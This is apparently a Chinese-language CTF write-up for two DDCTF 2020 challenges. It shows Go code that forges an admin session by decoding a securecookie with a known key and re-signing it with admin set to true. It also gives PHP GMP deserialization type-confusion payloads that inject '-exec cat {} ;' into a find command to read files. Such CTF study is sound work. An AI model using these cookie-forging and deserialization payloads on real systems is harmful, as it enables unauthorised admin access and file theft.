DDCTF 2020

卡片商店

DDCTF 卡片商店(整數溢出+go cookie基礎)

整數溢出

大概是2 ** 63 - 2

go cookie

沒學過，慢慢看，關鍵是怎么看出來是gin的，是因為cookie開頭是MTU嗎

package main

import (
	"fmt"
	"github.com/gorilla/securecookie"
)

var (
	hashKey = []byte("Udc13VD5adM_c10nPxFu@v12")
	init       = securecookie.New(hashKey, nil)
	cookie     = "MTU5OTIyMzkzOHxEdi1CQkFFQ180SUFBUkFCRUFBQV81dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ER1FBWW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam94TWpJeU1qSXhPRFE1T0RrNU9ERTNOeXdpYm05M1gzUnBiV1VpT2pFMU9Ua3lNak0xT0RBc0luTjBZWEowWDNScGJXVWlPakUxT1RreU1qTTBNREI5Qm5OMGNtbHVad3dIQUFWaFpHMXBiZ1JpYjI5c0FnSUFBQT09fJpiqcBLlxJJIorq5kZWajwO4UHCF02nu8z9OVlphBvj"
)

func main() {
	var values map[interface{}]interface{}
	if err := init.Decode("session",cookie, &values); err == nil {
		fmt.Print(values)
		values["admin"] = true
		fmt.Print(init.Encode("session", values))
	}
}

Overwrite Me

GMP--從反序列化到類型混淆漏洞

php >5.6 <5.6.11可以覆蓋任意已實例化的類的屬性
從反序列化到類型混淆漏洞——記一次 ecshop 實例利用
Sec Bug #70513 GMP Deserialization Type Confusion Vulnerability

兩種利用方式，一種是利用有__wakeup的類，一種是利用DateInterval
以題目源碼為例簡化版的

<?php

class MyClass
{
    var $kw0ng;
    var $flag;

    public function __wakeup()
    {
        $this->kw0ng = 2;
    }

    public function get_flag()
    {
        return system('find /HackersForever ' . escapeshellcmd($this->flag));
    }
}


$show = new ShowOff();//第一個實例化的類
$bullet = $_GET['bullet'];

$obstacle = new stdClass;//第二個實例化的類
$mc = new MyClass();//第三個實例化的類
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();

MyClass.__wakeup()

$inner = 's:1:"1";a:3:{s:4:"flag";s:14:"-exec cat {} ;";s:2:"bb";s:2:"hi";i:0;O:7:"MyClass":1:{s:5:"kw0ng";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';

$inner里面是要覆蓋的屬性，最后一個O類型里面是存在__wakeup且__wakeup的內容是給屬性賦值的類，關鍵是要覆蓋的類必須是指定順序實例化，比如這里，MyClass是第三個實例化，所以MyClass的__wakeup()必須是

public function __wakeup()
{
    $this->kw0ng = 3;
}

DateInterval

$pos = "3";//第三個實例化
$inj = "-exec cat {} ;";
$inner = 's:1:"'.$pos.'";a:3:{s:4:"flag";s:'.strlen($inj).':"'.$inj.'";s:2:"hi";s:2:"aa";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';